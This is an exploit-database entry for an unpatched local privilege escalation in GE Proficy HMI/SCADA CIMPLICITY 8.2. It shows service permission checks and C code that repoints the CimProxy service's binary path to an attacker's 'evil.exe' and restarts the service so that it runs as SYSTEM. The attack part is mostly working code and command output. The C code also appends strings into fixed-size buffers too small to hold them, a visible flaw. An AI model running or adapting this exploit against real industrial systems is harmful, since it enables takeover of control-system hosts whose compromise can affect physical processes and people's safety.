GE Proficy HMI/SCADA CIMPLICITY 8.2 Local Privilege Escalation Exploit(0 day)

vendor:

Proficy HMI/SCADA CIMPLICITY

by:

Zhou Yu

7,2

CVSS

HIGH

SERVICE_CHANGE_CONFIG Privilege Escalation

269

CWE

Product Name: Proficy HMI/SCADA CIMPLICITY

Affected Version From: 8.2

Affected Version To: 8.2

Patch Exists: NO

Related CWE: None

CPE: a:ge_industrial_solutions:proficy_hmi/scada_cimplicity

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 SP1 X32

2020

GE Proficy HMI/SCADA CIMPLICITY 8.2 Local Privilege Escalation Exploit(0 day)

A vulnerability exists in GE Proficy HMI/SCADA CIMPLICITY 8.2 which allows an attacker to gain elevated privileges by exploiting the SERVICE_CHANGE_CONFIG privilege. The exploit code is written in C and uses the system() function to execute a malicious payload which changes the binary path of the CimProxy service to a malicious executable. The malicious executable is then executed with SYSTEM privileges.

Mitigation:

Ensure that the CimProxy service is running with the least privileges necessary and that the binary path is pointing to a legitimate executable.

Source

Exploit-DB raw data:

/*
# Exploit Title: GE Proficy HMI/SCADA CIMPLICITY 8.2 Local Privilege Escalation Exploit(0 day)
# Vulnerability Discovery and Exploit Author: Zhou Yu
# Email: <504137480@qq.com>
# Version: 8.2
# Tested on: Windows 7 SP1 X32
# CVE : None

Vulnerability Description:
SERVICE_CHANGE_CONFIG Privilege Escalation
C:\Users\lenovo\Desktop\AccessChk>accesschk.exe -q -v -c CimProxy
CimProxy
  Medium Mandatory Level (Default) [No-Write-Up]
  RW Everyone
        SERVICE_ALL_ACCESS

C:\Users\lenovo\Desktop\AccessChk>sc qc CimProxy
[SC] QueryServiceConfig �ɹ�

SERVICE_NAME: CimProxy
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Proficy\Proficy CIMPLICITY\exe\Cim
Proxy.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : CIMPLICITY Proxy Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
Usage:
Put evil.exe and the exploit in the same folder and then run the exploit.
*/
#include <windows.h>
#include <stdio.h>
#include <string.h>
void main()
{
	char szPath[MAX_PATH];
	char *t;
    GetModuleFileName(NULL,szPath,MAX_PATH);
	t = strrchr(szPath, 0x5C);
	t[0] = '\\';
	t[1] = '\0';
	strcat(szPath,"evil.exe\"");
	char t1[] = "\"cmd.exe /c ";
	char payload[] = "sc config CimProxy binPath= ";
	strcat(t1,szPath);
	strcat(payload,t1);
 
	system(payload);
	//stop service
	printf("stop service!\n");
	system("net stop CimProxy");
	//start service
	printf("start service!\n");
	system("net start CimProxy");
	
}